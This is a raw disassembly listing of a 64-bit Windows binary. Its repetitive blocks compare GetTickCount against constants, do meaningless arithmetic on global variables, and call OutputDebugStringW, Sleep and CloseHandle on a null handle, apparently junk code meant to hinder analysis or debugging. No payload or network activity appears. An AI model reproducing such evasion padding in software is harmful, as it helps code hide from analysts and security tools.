mov dword [0x005ac688], edx
lea rcx, [0x0057990c]
call sub.kernel32.dll_OutputDebugStringW
mov ecx, 0x16
call fcn.004098a0
call sub.kernel32.dll_GetTickCount
cmp eax, 0x1a3
jne 0x540e3d
mov dword [0x005ac688], 0xe
mov dword [0x005ac68c], 0x4e
mov eax, dword [0x005ac688]
add eax, dword [0x005ac68c]
mov dword [0x005ac690], eax
mov dword [0x005ac694], 7
mov dword [0x005ac698], 0x1b
mov ecx, 0x22
call fcn.004098a0
add dword [0x005ac698], eax
mov ecx, 0x5d
mov eax, dword [0x005ac68c]
cdq
idiv ecx
mov dword [0x005ac68c], edx
lea rcx, [0x0057990c]
call sub.kernel32.dll_OutputDebugStringW
mov ecx, 4
call fcn.004098a0
add dword [0x005ac68c], eax
xor ecx, ecx
call sub.kernel32.dll_CloseHandle
mov ecx, 0x33
mov eax, dword [0x005ac698]
cdq
idiv ecx
mov dword [0x005ac698], edx
mov ecx, 0x52
call fcn.004098a0
add dword [0x005ac690], eax
lea rcx, [0x0057990c]
call sub.kernel32.dll_OutputDebugStringW
mov ecx, 0x2e
call fcn.004098a0
mov ecx, eax
mov eax, dword [0x005ac690]
cdq
idiv ecx
mov dword [0x005ac690], edx
call sub.kernel32.dll_GetTickCount
call sub.kernel32.dll_GetTickCount
cmp eax, 0x4f
jne 0x540ed7
mov dword [0x005ac688], 0x21
mov dword [0x005ac68c], 0xd
mov eax, dword [0x005ac688]
add eax, dword [0x005ac68c]
mov dword [0x005ac690], eax
mov ecx, 0x5d
call fcn.004098a0
mov dword [0x005ac694], eax
mov dword [0x005ac698], 0x3d
add dword [0x005ac690], 0x19
mov eax, dword [0x005ac690]
imul eax, eax, 0x1c
mov dword [0x005ac690], eax
sub dword [0x005ac690], 0x1d
lea rcx, [0x0057990c]
call sub.kernel32.dll_OutputDebugStringW
mov ecx, 0xb
call fcn.004098a0
mov ecx, dword [0x005ac698]
imul ecx, eax
mov dword [0x005ac698], ecx
mov ecx, 0x5b
call fcn.004098a0
call sub.kernel32.dll_GetTickCount
cmp eax, 0xae
jne 0x540f7e
mov ecx, 0x25
call fcn.004098a0
mov dword [0x005ac688], eax
mov dword [0x005ac68c], 0x3d
mov eax, dword [0x005ac688]
add eax, dword [0x005ac68c]
mov dword [0x005ac690], eax
mov dword [0x005ac694], 0x57
mov ecx, 0x26
call fcn.004098a0
mov dword [0x005ac698], eax
mov ecx, 0x4b
mov eax, dword [0x005ac68c]
cdq
idiv ecx
mov dword [0x005ac68c], eax
sub dword [0x005ac688], 0x4b
call sub.kernel32.dll_GetTickCount
add dword [0x005ac68c], 0x1d
xor ecx, ecx
call sub.kernel32.dll_Sleep
mov ecx, 0xa
call fcn.004098a0
mov ecx, eax
mov eax, dword [0x005ac698]
cdq
idiv ecx
mov dword [0x005ac698], eax
add dword [0x005ac68c], 0x24
call sub.kernel32.dll_GetTickCount
cmp eax, 0x162
jne 0x541028
mov dword [0x005ac688], 0x41
mov dword [0x005ac68c], 0x4e
mov eax, dword [0x005ac688]
add eax, dword [0x005ac68c]
mov dword [0x005ac690], eax
mov dword [0x005ac694], 0x4e
mov dword [0x005ac698], 0x27
mov eax, dword [0x005ac688]
imul eax, eax, 0x31
mov dword [0x005ac688], eax
mov eax, dword [0x005ac688]
imul eax, eax, 0xd
mov dword [0x005ac688], eax
call sub.kernel32.dll_GetTickCount
mov ecx, 0x34
call fcn.004098a0
mov ecx, dword [0x005ac694]
imul ecx, eax
mov dword [0x005ac694], ecx
mov ecx, 1
call sub.kernel32.dll_Sleep
mov eax, dword [0x005ac68c]
imul eax, eax, 0x4d
mov dword [0x005ac68c], eax
mov ecx, 0x5a
call fcn.004098a0
call sub.kernel32.dll_GetTickCount
cmp eax, 0x16f
jne 0x5410ca
mov ecx, 0x2b
call fcn.004098a0
mov dword [0x005ac688], eax
mov ecx, 0x27
call fcn.004098a0
mov dword [0x005ac68c], eax
mov eax, dword [0x005ac688]
add eax, dword [0x005ac68c]
mov dword [0x005ac690], eax
mov dword [0x005ac694], 0x3b
mov ecx, 0x60
call fcn.004098a0
mov dword [0x005ac698], eax
sub dword [0x005ac694], 9
mov ecx, 0x16
call fcn.004098a0
mov ecx, dword [0x005ac690]
imul ecx, eax
mov dword [0x005ac690], ecx
mov ecx, 0x17
call fcn.004098a0
mov ecx, eax
mov eax, dword [0x005ac690]
cdq
idiv ecx
mov dword [0x005ac690], edx
mov ecx, 0xc
call fcn.004098a0
call sub.kernel32.dll_GetTickCount
cmp eax, 0x219
jne 0x5411be
mov dword [0x005ac688], 0xd
mov ecx, 0x54
call fcn.004098a0
mov dword [0x005ac68c], eax
mov eax, dword [0x005ac688]
add eax, dword [0x005ac68c]
mov dword [0x005ac690], eax
mov dword [0x005ac694], 0x1f
mov ecx, 0x20
call fcn.004098a0
mov dword [0x005ac698], eax
mov ecx, 0x35
call fcn.004098a0
add dword [0x005ac694], eax
mov ecx, 0x43
mov eax, dword [0x005ac688]
cdq
idiv ecx
mov dword [0x005ac688], eax
mov ecx, 3
call sub.kernel32.dll_Sleep
mov ecx, 0x21
call fcn.004098a0
sub dword [0x005ac698], eax
mov ecx, 0x41
mov eax, dword [0x005ac68c]
cdq
idiv ecx
mov dword [0x005ac68c], eax
mov ecx, 0x39
call fcn.004098a0
mov ecx, eax
mov eax, dword [0x005ac688]
cdq
idiv ecx
mov dword [0x005ac688], eax
lea rcx, [0x0057990c]
call sub.kernel32.dll_OutputDebugStringW
mov ecx, 0xc
call fcn.004098a0
add dword [0x005ac698], eax
mov ecx, 2
call sub.kernel32.dll_Sleep
mov ecx, 0x3d
call fcn.004098a0
call sub.kernel32.dll_GetTickCount
cmp eax, 0x376
jne 0x54129f
mov dword [0x005ac688], 0x14
mov ecx, 0x37
call fcn.004098a0
mov dword [0x005ac68c], eax
mov eax, dword [0x005ac688]
add eax, dword [0x005ac68c]
mov dword [0x005ac690], eax
mov ecx, 0x23
call fcn.004098a0
mov dword [0x005ac694], eax
mov dword [0x005ac698], 0x1e
mov ecx, 0x56
call fcn.004098a0
mov ecx, eax
mov eax, dword [0x005ac688]
cdq
idiv ecx
mov dword [0x005ac688], edx
mov eax, dword [0x005ac690]
mov ecx, eax
shl eax, 6
sub eax, ecx
mov dword [0x005ac690], eax
lea rcx, [0x0057990c]
call sub.kernel32.dll_OutputDebugStringW
mov eax, dword [0x005ac688]
shl eax, 4
lea rax, [rax + rax*2]
mov dword [0x005ac688], eax
mov eax, dword [0x005ac690]
and eax, 0x8000003f
jns 0x541279
sub eax, 1
or eax, 0xffffffc0
add eax, 1
mov dword [0x005ac690], eax
mov eax, dword [0x005ac68c]
imul eax, eax, 0x61
mov dword [0x005ac68c], eax
xor ecx, ecx
call sub.kernel32.dll_CloseHandle
mov ecx, 0x53
call fcn.004098a0
call sub.kernel32.dll_GetTickCount
cmp eax, 0x3c5
jne 0x541369
mov ecx, 0x4f
call fcn.004098a0
mov dword [0x005ac688], eax
mov dword [0x005ac68c], 0x33
mov eax, dword [0x005ac688]
add eax, dword [0x005ac68c]
mov dword [0x005ac690], eax
mov ecx, 9
call fcn.004098a0
mov dword [0x005ac694], eax
mov dword [0x005ac698], 0x5d
mov ecx, 0x10
call fcn.004098a0
sub dword [0x005ac688], eax
mov ecx, 0x20
call fcn.004098a0
mov ecx, dword [0x005ac690]
imul ecx, eax
mov dword [0x005ac690], ecx
mov ecx, 0x1a
call fcn.004098a0
mov ecx, dword [0x005ac688]
imul ecx, eax
mov dword [0x005ac688], ecx
xor ecx, ecx
call sub.kernel32.dll_CloseHandle
mov eax, dword [0x005ac694]
add eax, eax
lea rax, [rax + rax*8]
mov dword [0x005ac694], eax
lea rcx, [0x0057990c]
call sub.kernel32.dll_OutputDebugStringW
sub dword [0x005ac690], 0x35
call sub.kernel32.dll_GetTickCount
call sub.kernel32.dll_GetTickCount
cmp eax, 0x18a
jne 0x54144d
mov dword [0x005ac688], 0x5d
mov dword [0x005ac68c], 3
mov eax, dword [0x005ac688]
add eax, dword [0x005ac68c]
mov dword [0x005ac690], eax
mov ecx, 1
call fcn.004098a0
mov dword [0x005ac694], eax
mov dword [0x005ac698], 0x59
mov ecx, 0x1a
call fcn.004098a0
sub dword [0x005ac694], eax
mov ecx, 0x36
call fcn.004098a0
sub dword [0x005ac68c], eax
call sub.kernel32.dll_GetTickCount
mov eax, dword [0x005ac68c]
imul eax, eax, 0x15
mov dword [0x005ac68c], eax
mov ecx, 2
call sub.kernel32.dll_Sleep
mov ecx, 0x19
call fcn.004098a0
mov ecx, eax
mov eax, dword [0x005ac68c]
cdq
idiv ecx
mov dword [0x005ac68c], edx
mov ecx, 0x25
call fcn.004098a0
sub dword [0x005ac68c], eax
mov ecx, 0xf
call fcn.004098a0
mov ecx, dword [0x005ac694]
imul ecx, eax
mov dword [0x005ac694], ecx
xor ecx, ecx
call sub.kernel32.dll_CloseHandle
mov ecx, 0x61
call fcn.004098a0
call sub.kernel32.dll_GetTickCount
cmp eax, 0x2b3
jne 0x54151f
mov dword [0x005ac688], 0x4e
mov dword [0x005ac68c], 0xd
mov eax, dword [0x005ac688]
add eax, dword [0x005ac68c]
mov dword [0x005ac690], eax
mov ecx, 0x2d
call fcn.004098a0
mov dword [0x005ac694], eax
mov dword [0x005ac698], 0x14
mov eax, dword [0x005ac68c]
imul eax, eax, 0x4d
mov dword [0x005ac68c], eax
call sub.kernel32.dll_GetTickCount
mov ecx, 0x2b
call fcn.004098a0
add dword [0x005ac68c], eax
lea rcx, [0x0057990c]
call sub.kernel32.dll_OutputDebugStringW
mov ecx, 2
call fcn.004098a0
mov ecx, eax
mov eax, dword [0x005ac698]
cdq
idiv ecx
mov dword [0x005ac698], edx
sub dword [0x005ac688], 0x55
xor ecx, ecx
call sub.kernel32.dll_CloseHandle
mov ecx, 0x50
call fcn.004098a0
mov ecx, dword [0x005ac68c]
imul ecx, eax
mov dword [0x005ac68c], ecx
mov eax, dword [0x005ac690]
imul eax, eax, 0x4a
mov dword [0x005ac690], eax
call sub.kernel32.dll_GetTickCount
cmp eax, 0x14f
jne 0x5415b0
mov dword [0x005ac688], 0x3f
mov dword [0x005ac68c], 0x4f
mov eax, dword [0x005ac688]
add eax, dword [0x005ac68c]
mov dword [0x005ac690], eax
mov dword [0x005ac694], 0x47
mov dword [0x005ac698], 3
sub dword [0x005ac690], 0x48
mov ecx, 0x59
call fcn.004098a0
sub dword [0x005ac688], eax
mov ecx, 3
call sub.kernel32.dll_Sleep
mov ecx, 0x10
call fcn.004098a0
sub dword [0x005ac68c], eax
mov ecx, 0x36
call fcn.004098a0
add dword [0x005ac688], eax
call sub.kernel32.dll_GetTickCount
call sub.kernel32.dll_GetTickCount
cmp eax, 0x88
jne 0x54166c
mov ecx, 0xe
call fcn.004098a0
mov dword [0x005ac688], eax
mov dword [0x005ac68c], 0x1c
mov eax, dword [0x005ac688]
add eax, dword [0x005ac68c]
mov dword [0x005ac690], eax
mov dword [0x005ac694], 0x37
mov dword [0x005ac698], 0x25
mov ecx, 0x10
call fcn.004098a0
mov ecx, eax
mov eax, dword [0x005ac698]
cdq
idiv ecx
mov dword [0x005ac698], eax
mov ecx, 0x4f
call fcn.004098a0
sub dword [0x005ac68c], eax
lea rcx, [0x0057990c]
call sub.kernel32.dll_OutputDebugStringW
mov ecx, 0x19
call fcn.004098a0
sub dword [0x005ac698], eax
mov ecx, 0x39
call fcn.004098a0
sub dword [0x005ac68c], eax
mov ecx, 0x35
mov eax, dword [0x005ac694]
cdq
idiv ecx
mov dword [0x005ac694], edx
call sub.kernel32.dll_GetTickCount
cmp eax, 0x385
jne 0x541719
mov ecx, 0x5a
call fcn.004098a0
mov dword [0x005ac688], eax
mov dword [0x005ac68c], 0x2d
mov eax, dword [0x005ac688]
add eax, dword [0x005ac68c]
mov dword [0x005ac690], eax
mov ecx, 0x53
call fcn.004098a0
mov dword [0x005ac694], eax
mov dword [0x005ac698], 2
mov ecx, 0x2f
call fcn.004098a0
add dword [0x005ac688], eax
mov ecx, 0x2b
call fcn.004098a0
mov ecx, eax
mov eax, dword [0x005ac690]
cdq
idiv ecx
mov dword [0x005ac690], eax
mov ecx, 0x53
call fcn.004098a0
sub dword [0x005ac690], eax
mov ecx, 0x34
call fcn.004098a0
mov ecx, eax
mov eax, dword [0x005ac690]
cdq
idiv ecx
mov dword [0x005ac690], eax
call sub.kernel32.dll_GetTickCount
cmp eax, 0x396
jne 0x5417d5
mov ecx, 6
call fcn.004098a0
mov dword [0x005ac688], eax
mov dword [0x005ac68c], 0xa
mov eax, dword [0x005ac688]
add eax, dword [0x005ac68c]
mov dword [0x005ac690], eax
mov ecx, 0x4b
call fcn.004098a0
mov dword [0x005ac694], eax
mov dword [0x005ac698], 0x46
mov ecx, 0x19
call fcn.004098a0
mov ecx, eax
mov eax, dword [0x005ac694]
cdq
idiv ecx
mov dword [0x005ac694], edx
add dword [0x005ac688], 0x30
xor ecx, ecx
call sub.kernel32.dll_CloseHandle
sub dword [0x005ac694], 0x61
sub dword [0x005ac68c], 0x15
add dword [0x005ac698], 0x18
lea rcx, [0x0057990c]
call sub.kernel32.dll_OutputDebugStringW
mov ecx, 0x28
call fcn.004098a0
mov ecx, eax
mov eax, dword [0x005ac698]
cdq
idiv ecx
mov dword [0x005ac698], eax
call sub.kernel32.dll_GetTickCount
cmp eax, 0xa2
jne 0x5418a0
mov ecx, 0xe
call fcn.004098a0
mov dword [0x005ac688], eax
mov ecx, 0x31
call fcn.004098a0
mov dword [0x005ac68c], eax
mov eax, dword [0x005ac688]
add eax, dword [0x005ac68c]
mov dword [0x005ac690], eax
mov ecx, 0x3d
call fcn.004098a0
mov dword [0x005ac694], eax
mov ecx, 0x56
call fcn.004098a0
mov dword [0x005ac698], eax
mov ecx, 0x12
mov eax, dword [0x005ac68c]
cdq
idiv ecx
mov dword [0x005ac68c], edx
add dword [0x005ac690], 0x23
xor ecx, ecx
call sub.kernel32.dll_Sleep
mov ecx, 0x59
call fcn.004098a0
sub dword [0x005ac694], eax
mov ecx, 0x59
call fcn.004098a0
mov ecx, eax
mov eax, dword [0x005ac688]
cdq
idiv ecx
mov dword [0x005ac688], edx
mov ecx, 0x52
call fcn.004098a0
mov ecx, eax
mov eax, dword [0x005ac690]
cdq
idiv ecx
mov dword [0x005ac690], eax
call sub.kernel32.dll_GetTickCount
cmp eax, 0x35a
jne 0x54199b
mov dword [0x005ac688], 0xa
mov ecx, 0x3e
call fcn.004098a0
mov dword [0x005ac68c], eax
mov eax, dword [0x005ac688]
add eax, dword [0x005ac68c]
mov dword [0x005ac690], eax
mov ecx, 0x49
call fcn.004098a0
mov dword [0x005ac694], eax
mov ecx, 0x38
call fcn.004098a0
mov dword [0x005ac698], eax
mov ecx, 0x5a
call fcn.004098a0
mov ecx, eax
mov eax, dword [0x005ac68c]
cdq
idiv ecx
mov dword [0x005ac68c], eax
lea rcx, [0x0057990c]
call sub.kernel32.dll_OutputDebugStringW
mov ecx, 0x44
call fcn.004098a0
add dword [0x005ac698], eax
mov ecx, 1
call fcn.004098a0
mov ecx, dword [0x005ac690]
imul ecx, eax
mov dword [0x005ac690], ecx
mov ecx, 0x5a
mov eax, dword [0x005ac690]
cdq
idiv ecx
mov dword [0x005ac690], eax
xor ecx, ecx
call sub.kernel32.dll_Sleep
sub dword [0x005ac690], 0x13
mov ecx, 0x5b
call fcn.004098a0
mov ecx, eax
mov eax, dword [0x005ac698]
cdq
idiv ecx
mov dword [0x005ac698], edx
xor ecx, ecx
call sub.kernel32.dll_CloseHandle
mov ecx, 1
call fcn.004098a0
call sub.kernel32.dll_GetTickCount
cmp eax, 0x27b
jne 0x541a4a
mov ecx, 9
call fcn.004098a0
mov dword [0x005ac688], eax
mov dword [0x005ac68c], 0x40
mov eax, dword [0x005ac688]
add eax, dword [0x005ac68c]
mov dword [0x005ac690], eax
mov dword [0x005ac694], 9
mov dword [0x005ac698], 0x4d
mov ecx, 0x18
call fcn.004098a0
mov ecx, eax
mov eax, dword [0x005ac698]
cdq
idiv ecx
mov dword [0x005ac698], edx
xor ecx, ecx
call sub.kernel32.dll_Sleep
mov ecx, 0x3f
call fcn.004098a0
sub dword [0x005ac694], eax
call sub.kernel32.dll_GetTickCount
sub dword [0x005ac694], 0x14
mov ecx, 0x5d
call fcn.004098a0
mov ecx, dword [0x005ac690]
imul ecx, eax
mov dword [0x005ac690], ecx
xor ecx, ecx
call sub.kernel32.dll_CloseHandle
call sub.kernel32.dll_GetTickCount
cmp eax, 0x336
jne 0x541b0f
mov ecx, 0x4b
call fcn.004098a0
mov dword [0x005ac688], eax
mov dword [0x005ac68c], 0x33
mov eax, dword [0x005ac688]
add eax, dword [0x005ac68c]
mov dword [0x005ac690], eax
mov dword [0x005ac694], 0x34
mov dword [0x005ac698], 0x10
sub dword [0x005ac698], 0x12
mov ecx, 0x1b
call fcn.004098a0
sub dword [0x005ac690], eax
lea rcx, [0x0057990c]
call sub.kernel32.dll_OutputDebugStringW
mov ecx, 0x13
call fcn.004098a0
add dword [0x005ac688], eax
call sub.kernel32.dll_GetTickCount
mov ecx, 0x18
call fcn.004098a0
mov ecx, eax
mov eax, dword [0x005ac68c]
cdq
idiv ecx
mov dword [0x005ac68c], edx
xor ecx, ecx
call sub.kernel32.dll_CloseHandle
mov ecx, 0x1e
call fcn.004098a0
sub dword [0x005ac694], eax
mov ecx, 0x54
call fcn.004098a0
call sub.kernel32.dll_GetTickCount
cmp eax, 0x7a
jne 0x541bb6
mov ecx, 0x55
call fcn.004098a0
mov dword [0x005ac688], eax
mov ecx, 0x12
call fcn.004098a0
mov dword [0x005ac68c], eax
mov eax, dword [0x005ac688]
add eax, dword [0x005ac68c]
mov dword [0x005ac690], eax
mov dword [0x005ac694], 0x42
mov ecx, 0x46
call fcn.004098a0
mov dword [0x005ac698], eax
mov ecx, 0x21
mov eax, dword [0x005ac68c]
cdq
idiv ecx
mov dword [0x005ac68c], edx
xor ecx, ecx
call sub.kernel32.dll_CloseHandle
mov eax, dword [0x005ac68c]
add eax, eax
add eax, eax
add eax, eax
mov dword [0x005ac68c], eax
mov ecx, 0x4a
mov eax, dword [0x005ac690]
cdq
idiv ecx
mov dword [0x005ac690], edx
call sub.kernel32.dll_GetTickCount
sub dword [0x005ac694], 0x27
call sub.kernel32.dll_GetTickCount
cmp eax, 0x2f0
jne 0x541c91
mov ecx, 0x25
call fcn.004098a0
mov dword [0x005ac688], eax
mov dword [0x005ac68c], 6
mov eax, dword [0x005ac688]
add eax, dword [0x005ac68c]
mov dword [0x005ac690], eax
mov dword [0x005ac694], 7
mov ecx, 0x61
call fcn.004098a0
mov dword [0x005ac698], eax
mov ecx, 0x36
mov eax, dword [0x005ac698]
cdq
idiv ecx
mov dword [0x005ac698], eax
xor ecx, ecx
call sub.kernel32.dll_CloseHandle
mov ecx, 0x14
call fcn.004098a0
sub dword [0x005ac698], eax
xor ecx, ecx
call sub.kernel32.dll_CloseHandle
mov ecx, 0x5b
mov eax, dword [0x005ac688]
cdq
idiv ecx
mov dword [0x005ac688], eax
sub dword [0x005ac68c], 0x54
xor ecx, ecx
call sub.kernel32.dll_CloseHandle
mov eax, dword [0x005ac68c]
add eax, eax
add eax, eax
lea rax, [rax + rax*4]
mov dword [0x005ac68c], eax
lea rcx, [0x0057990c]
call sub.kernel32.dll_OutputDebugStringW
mov ecx, 0xc
call fcn.004098a0
add dword [0x005ac694], eax
call sub.kernel32.dll_GetTickCount
cmp eax, 0x1cf
jne 0x541d8e
mov dword [0x005ac688], 0x52
mov dword [0x005ac68c], 0x5f
mov eax, dword [0x005ac688]
add eax, dword [0x005ac68c]
mov dword [0x005ac690], eax
mov ecx, 7
call fcn.004098a0
mov dword [0x005ac694], eax
mov ecx, 0x59
call fcn.004098a0
mov dword [0x005ac698], eax
mov ecx, 0x2d
call fcn.004098a0
mov ecx, eax
mov eax, dword [0x005ac688]
cdq
idiv ecx
mov dword [0x005ac688], edx
mov ecx, 0x3c
call fcn.004098a0
mov ecx, eax
mov eax, dword [0x005ac688]
cdq
idiv ecx
mov dword [0x005ac688], edx
call sub.kernel32.dll_GetTickCount
mov ecx, 2
call fcn.004098a0
mov ecx, eax
mov eax, dword [0x005ac68c]
cdq
idiv ecx
mov dword [0x005ac68c], edx
mov ecx, 1
call sub.kernel32.dll_Sleep
mov ecx, 0x3d
call fcn.004098a0
mov ecx, eax
mov eax, dword [0x005ac690]
cdq
idiv ecx
mov dword [0x005ac690], eax
lea rcx, [0x0057990c]
call sub.kernel32.dll_OutputDebugStringW
mov ecx, 0x47
call fcn.004098a0
sub dword [0x005ac694], eax
call sub.kernel32.dll_GetTickCount
mov ecx, 0x58
call fcn.004098a0
call sub.kernel32.dll_GetTickCount
cmp eax, 0x198
jne 0x541e52
mov dword [0x005ac688], 0x42
mov ecx, 0x20
call fcn.004098a0
mov dword [0x005ac68c], eax
mov eax, dword [0x005ac688]
add eax, dword [0x005ac68c]
mov dword [0x005ac690], eax
mov ecx, 0x3f
call fcn.004098a0
mov dword [0x005ac694], eax
mov ecx, 0x10
call fcn.004098a0
mov dword [0x005ac698], eax
mov ecx, 0x5e
call fcn.004098a0
add dword [0x005ac688], eax
mov ecx, 0x28
call fcn.004098a0
mov ecx, eax
mov eax, dword [0x005ac688]
cdq
idiv ecx
mov dword [0x005ac688], edx
add dword [0x005ac698], 0x38
xor ecx, ecx
call sub.kernel32.dll_CloseHandle
mov ecx, 0x52
mov eax, dword [0x005ac690]
cdq
idiv ecx
mov dword [0x005ac690], edx
mov ecx, 0x49
call fcn.004098a0
add dword [0x005ac690], eax
mov ecx, 0x31
call fcn.004098a0
call sub.kernel32.dll_GetTickCount
cmp eax, 0x251
jne 0x541ee6
mov dword [0x005ac688], 0x3b
mov dword [0x005ac68c], 0x21
mov eax, dword [0x005ac688]
add eax, dword [0x005ac68c]
mov dword [0x005ac690], eax
mov dword [0x005ac694], 0x1b
mov ecx, 0x45
call fcn.004098a0
mov dword [0x005ac698], eax
mov ecx, 0x56
call fcn.004098a0
mov ecx, eax
mov eax, dword [0x005ac690]
cdq
idiv ecx
mov dword [0x005ac690], eax
sub dword [0x005ac68c], 0x12
xor ecx, ecx
call sub.kernel32.dll_CloseHandle
sub dword [0x005ac68c], 0x22
sub dword [0x005ac690], 0x1c
lea rcx, [0x0057990c]
call sub.kernel32.dll_OutputDebugStringW
call sub.kernel32.dll_GetTickCount
cmp eax, 0x1f0
jne 0x541fa3
mov ecx, 0x20
call fcn.004098a0
mov dword [0x005ac688], eax
mov dword [0x005ac68c], 0x3b
mov eax, dword [0x005ac688]
add eax, dword [0x005ac68c]
mov dword [0x005ac690], eax
mov ecx, 0x11
call fcn.004098a0
mov dword [0x005ac694], eax
mov ecx, 5
call fcn.004098a0
mov dword [0x005ac698], eax
mov eax, dword [0x005ac688]
imul eax, eax, 0xb
mov dword [0x005ac688], eax
add dword [0x005ac690], 0x15
xor ecx, ecx
call sub.kernel32.dll_CloseHandle
mov ecx, 0x27
call fcn.004098a0
mov ecx, dword [0x005ac690]
imul ecx, eax
mov dword [0x005ac690], ecx
xor ecx, ecx
call sub.kernel32.dll_CloseHandle
mov eax, dword [0x005ac68c]
imul eax, eax, 0x3b
mov dword [0x005ac68c], eax
mov ecx, 0x62
mov eax, dword [0x005ac690]
cdq
idiv ecx
mov dword [0x005ac690], edx
call sub.kernel32.dll_GetTickCount
cmp eax, 0x36f
jne 0x54204a
mov ecx, 0x11
call fcn.004098a0
mov dword [0x005ac688], eax
mov ecx, 0x2d
call fcn.004098a0
mov dword [0x005ac68c], eax
mov eax, dword [0x005ac688]
add eax, dword [0x005ac68c]
mov dword [0x005ac690], eax
mov dword [0x005ac694], 0x45
mov ecx, 0x4c
call fcn.004098a0
mov dword [0x005ac698], eax
mov eax, dword [0x005ac690]
lea rax, [rax + rax*4]
mov dword [0x005ac690], eax
call sub.kernel32.dll_GetTickCount
mov ecx, 0x59
call fcn.004098a0
add dword [0x005ac698], eax
mov ecx, 0x48
call fcn.004098a0
mov ecx, eax
mov eax, dword [0x005ac698]
cdq
idiv ecx
mov dword [0x005ac698], eax
mov ecx, 0xf
call fcn.004098a0
call sub.kernel32.dll_GetTickCount
cmp eax, 0x115
jne 0x5420f0
mov dword [0x005ac688], 0x29
mov dword [0x005ac68c], 0xb
mov eax, dword [0x005ac688]
add eax, dword [0x005ac68c]
mov dword [0x005ac690], eax
mov ecx, 0x1a
call fcn.004098a0
mov dword [0x005ac694], eax
mov ecx, 0x11
call fcn.004098a0
mov dword [0x005ac698], eax
mov ecx, 0x53
call fcn.004098a0
sub dword [0x005ac694], eax
mov ecx, 0x17
call fcn.004098a0
add dword [0x005ac690], eax
mov ecx, 0x51
call fcn.004098a0
mov ecx, eax
mov eax, dword [0x005ac690]
cdq
idiv ecx
mov dword [0x005ac690], edx
mov ecx, 0x29
mov eax, dword [0x005ac688]
cdq
idiv ecx
mov dword [0x005ac688], eax
call sub.kernel32.dll_GetTickCount
cmp eax, 0x107
jne 0x542189
mov dword [0x005ac688], 0x1a
mov dword [0x005ac68c], 0xd
mov eax, dword [0x005ac688]
add eax, dword [0x005ac68c]
mov dword [0x005ac690], eax
mov ecx, 0x4e
call fcn.004098a0
mov dword [0x005ac694], eax
mov dword [0x005ac698], 0x47
mov ecx, 0x28
call fcn.004098a0
sub dword [0x005ac688], eax
xor ecx, ecx
call sub.kernel32.dll_CloseHandle
sub dword [0x005ac694], 9
xor ecx, ecx
call sub.kernel32.dll_CloseHandle
mov ecx, 0x34
call fcn.004098a0
mov ecx, dword [0x005ac68c]
imul ecx, eax
mov dword [0x005ac68c], ecx
mov ecx, 0x59
call fcn.004098a0
call sub.kernel32.dll_GetTickCount
cmp eax, 0x359
jne 0x542268
mov ecx, 0x1c
call fcn.004098a0
mov dword [0x005ac688], eax
mov dword [0x005ac68c], 0x15
mov eax, dword [0x005ac688]
add eax, dword [0x005ac68c]
mov dword [0x005ac690], eax
mov ecx, 0x54
call fcn.004098a0
mov dword [0x005ac694], eax
mov dword [0x005ac698], 0x5b
mov ecx, 0x51
call fcn.004098a0
mov ecx, eax
mov eax, dword [0x005ac68c]
cdq
idiv ecx
mov dword [0x005ac68c], eax
xor ecx, ecx
call sub.kernel32.dll_CloseHandle
mov ecx, 0x58
call fcn.004098a0
mov ecx, eax
mov eax, dword [0x005ac688]
cdq
idiv ecx
mov dword [0x005ac688], eax
xor ecx, ecx
call sub.kernel32.dll_CloseHandle
mov ecx, 0x19
call fcn.004098a0
mov ecx, eax
mov eax, dword [0x005ac688]
cdq
idiv ecx
mov dword [0x005ac688], edx
mov ecx, 0x1a
call fcn.004098a0
sub dword [0x005ac698], eax
mov eax, dword [0x005ac688]
imul eax, eax, 0x1a
mov dword [0x005ac688], eax
mov ecx, 0x3d
call fcn.004098a0
call sub.kernel32.dll_GetTickCount
cmp eax, 0x2fd
jne 0x542318
mov dword [0x005ac688], 0x3e
mov dword [0x005ac68c], 0x22
mov eax, dword [0x005ac688]
add eax, dword [0x005ac68c]
mov dword [0x005ac690], eax
mov ecx, 0x18
call fcn.004098a0
mov dword [0x005ac694], eax
mov ecx, 0x25
call fcn.004098a0
mov dword [0x005ac698], eax
mov ecx, 0x53
mov eax, dword [0x005ac698]
cdq
idiv ecx
mov dword [0x005ac698], edx
mov ecx, 7
mov eax, dword [0x005ac688]
cdq
idiv ecx
mov dword [0x005ac688], edx
call sub.kernel32.dll_GetTickCount
mov ecx, 0x52
call fcn.004098a0
mov ecx, eax
mov eax, dword [0x005ac698]
cdq
idiv ecx
mov dword [0x005ac698], eax
xor ecx, ecx
call sub.kernel32.dll_Sleep
mov ecx, 0x1b
call fcn.004098a0
call sub.kernel32.dll_GetTickCount
cmp eax, 0x281
jne 0x5423c2
mov dword [0x005ac688], 0x5d
mov dword [0x005ac68c], 0xe
mov eax, dword [0x005ac688]
add eax, dword [0x005ac68c]
mov dword [0x005ac690], eax
mov dword [0x005ac694], 0x20
mov ecx, 0x1f
call fcn.004098a0
mov dword [0x005ac698], eax
mov ecx, 0x1c
call fcn.004098a0
sub dword [0x005ac690], eax
mov ecx, 0x12
mov eax, dword [0x005ac690]
cdq
idiv ecx
mov dword [0x005ac690], edx
lea rcx, [0x0057990c]
call sub.kernel32.dll_OutputDebugStringW
mov ecx, 0x55
mov eax, dword [0x005ac690]
cdq
idiv ecx
mov dword [0x005ac690], eax
mov ecx, 0x15
call fcn.004098a0
add dword [0x005ac694], eax
call sub.kernel32.dll_GetTickCount
call sub.kernel32.dll_GetTickCount
cmp eax, 0x308
jne 0x54245c
mov dword [0x005ac688], 0x41
mov ecx, 0x3c
call fcn.004098a0
mov dword [0x005ac68c], eax
mov eax, dword [0x005ac688]
add eax, dword [0x005ac68c]
mov dword [0x005ac690], eax
mov ecx, 0x45
call fcn.004098a0
mov dword [0x005ac694], eax
mov dword [0x005ac698], 0x45
mov ecx, 0x5b
call fcn.004098a0
mov ecx, dword [0x005ac688]
imul ecx, eax
mov dword [0x005ac688], ecx
mov eax, dword [0x005ac690]
shl eax, 6
mov dword [0x005ac690], eax
mov ecx, 9
call fcn.004098a0
mov ecx, eax
mov eax, dword [0x005ac694]
cdq
idiv ecx
mov dword [0x005ac694], eax
call sub.kernel32.dll_GetTickCount
cmp eax, 0x8b
jne 0x5424dd
mov ecx, 0x5c
call fcn.004098a0
mov dword [0x005ac688], eax
mov dword [0x005ac68c], 0x5a
mov eax, dword [0x005ac688]
add eax, dword [0x005ac68c]
mov dword [0x005ac690], eax
mov dword [0x005ac694], 0x43
mov dword [0x005ac698], 0x19
add dword [0x005ac688], 6
add dword [0x005ac690], 0x24
mov ecx, 0x31
call fcn.004098a0
sub dword [0x005ac698], eax
lea rcx, [0x0057990c]
